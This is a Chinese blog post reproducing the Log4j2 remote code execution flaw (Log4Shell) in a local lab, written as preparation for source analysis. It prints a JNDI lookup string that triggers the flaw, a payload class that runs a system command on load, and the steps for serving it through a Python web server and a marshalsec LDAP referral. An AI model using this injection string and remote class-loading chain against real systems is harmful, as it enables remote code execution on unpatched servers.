美文网首页漏洞
Log4j2 远程代码执行漏洞复现

Log4j2 远程代码执行漏洞复现

作者: 鸣人的大哥 | 来源:发表于2022-01-26 00:13 被阅读0次

前言:想着从源码静态分析角度分析下漏洞,所以先进行一波复现。

一、jar包版本要求:

Apache Log4j 2.x <= 2.14.1
我使用版本为2.14.0,官方下载链接:https://archive.apache.org/dist/logging/log4j/2.14.0/

二、漏洞复现:

模拟客户端

1、下载 Log4j jar包,解压,IDEA新建一个java工程,IDEA导入如下:


image.png

2、src目录下新建文件Hack.javalog4j2.xml

  • 文件 log4j2.xml:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Console name="CONSOLE" target="SYSTEM_OUT">
            <PatternLayout pattern="%d %-5p [%t] (%F:%L) - %m%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="CONSOLE"/>
        </Root>
    </Loggers>
</Configuration>
  • 文件 Hack.java:
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Hack {
    private static final Logger logger = LogManager.getLogger(Hack.class);
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
    }
}

模拟服务端

1、在其他目录新建文件 Log4jRCE.java

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Log4jRCE {
    static {
        System.out.println("I am Log4jRCE from remote!!!");
        Process p;
        String [] cmd = {"open", "/System/Applications/Calculator.app"};
        try {
            p = java.lang.Runtime.getRuntime().exec(cmd);
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
            while((line=br.readLine())!=null) {
                System.out.println(line);
            }
        }
        catch (IOException e) {
            e.printStackTrace();
        }
    }
}

2、编译成class文件:
javac Log4jRCE.java

image.png

3、在Log4jRCE.class所在目录使用Python创建临时服务器:
python3 -m http.server 8888

image.png

4、部署LDAP服务:

  • 下载marshalsec,直接IDEA打开,等待依赖下载完成:
    https://github.com/mbechler/marshalsec
  • 配置参数http://127.0.0.1:8888/#Log4jRCE
    image.png
  • 点击运行开始监听:


    image.png

漏洞触发

1、点击客户端的运行按钮触发:


image.png

2、复现成功。

参考链接:https://zhuanlan.zhihu.com/p/443689489

相关文章

网友评论

    本文标题:Log4j2 远程代码执行漏洞复现

    本文链接:https://www.haomeiwen.com/subject/uqedhrtx.html